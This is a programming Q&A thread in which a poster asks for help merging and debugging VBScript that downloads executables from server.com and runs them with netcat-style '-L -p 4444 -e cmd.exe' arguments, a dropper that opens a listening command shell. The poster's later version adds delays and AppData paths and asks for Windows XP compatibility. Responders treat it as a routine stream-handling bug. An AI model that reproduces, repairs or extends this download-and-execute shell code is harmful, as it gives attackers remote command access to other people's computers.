Click here to Skip to main content
15,890,123 members
Please Sign up or sign in to vote.
1.00/5 (1 vote)
I am trying to combine the .vbs scripts below into one .vbs. Below is sample of my code:

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download1.exe" 'Where to download the file from
FILENAME = "%Tmp%\download1.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download1.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download2.exe" 'Where to download the file from
FILENAME = "%Tmp%\download2.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download2.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD

Next

dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://server.com/download3.exe" 'Where to download the file from
FILENAME = "%Tmp%\download3.exe" 'Name to save the file (on the local system)
RUNCMD = "%Tmp%\download3.exe -L -p 4444 -e cmd.exe"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD


When I tried to run the code above, I'm always getting an error as stated in the image below:
Operation is not allowed when the object is open

Best solution to fix this or to make script wait and complete before proceeding to the next. will be greatly appreciated.

What I have tried:

I have tried using:
Next, WScript.Sleep 1000 and Delay syntax but none is working as expected.
Posted
Updated 31-Jan-20 1:50am
Comments
Richard MacCutchan 31-Jan-20 4:35am    
Since there is so much duplication in the code it would make more sense to convert one version to a subroutine that accepts parameters for the variables.
ZurdoDev 31-Jan-20 7:26am    
It means you are trying to do something, like open, a stream that is already open.
cHl Security 31-Jan-20 7:33am    
I actually want to download multiple files and execute but a download and execute process has to be completed before mooving to the next.
cHl Security 31-Jan-20 7:33am    
Please I'd appreciate if I can get some help on restructuring the code to make it work.

1 solution

This SO post may sched a light on your issue: excel - ADODB.Stream.saveToFile -> Wait until file is saved? - Stack Overflow[^].
And this one also: vbscript - Wait for program to complete - Stack Overflow[^].

As a supplemental note, if you are combining several files, you do not need to redefine variables once they have been declared. Meaning, the lines
VBScript
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
are useless the second and third times; you can skip them.
 
Share this answer
 
Comments
cHl Security 31-Jan-20 9:18am    
I am not vast in coding. I barely know how sto structure this.
phil.o 31-Jan-20 9:46am    
The only way to learn is to give it a try. You may most probably run into some other issues, but the trial-and-error process will be extremely educative.
cHl Security 31-Jan-20 13:03pm    
I was able to sole the issue but I am still facing write issue and execution error issue:
WScript.Sleep 30000
dim http_obj
dim stream_obj
dim shell_obj
WScript.Sleep 2000
WScript.Sleep 2000
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
WScript.Sleep 2000
WScript.Sleep 2000
URL = "http://server.com/download.exe" 'Where to download the file from
FILENAME = "c:\Users\Default\AppData\Roaming\download.exe" 'Name to save the file (on the local system)
RUNCMD = "c:\Users\Default\AppData\Roaming\download.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
WScript.Sleep 2000
WScript.Sleep 2000
http_obj.open "GET", URL, False
http_obj.send
WScript.Sleep 2000
WScript.Sleep 2000
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
stream_obj.close


Using the Save to path & Execution:
FILENAME = "c:\Users\Default\AppData\Roaming\download.exe"
RUNCMD = "c:\Users\Default\AppData\Roaming\download.exe -L -p 4444 -e cmd.exe"

Works well on windows 7 - 10 but won't work on windows xp, Windows XP Gives error:
Unable to locate resource specifiled.


Using the Save to path & execution:
FILENAME = "%AppData%\download.exe
RUNCMD = "%AppData%\download.exe -L -p 4444 -e cmd.exe"


Doesn't work at all and it give errors that:
Write Failed on windows 7-10 and
on windows xp:
Unable to locate resource specified.

Please is there a solution to this?

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900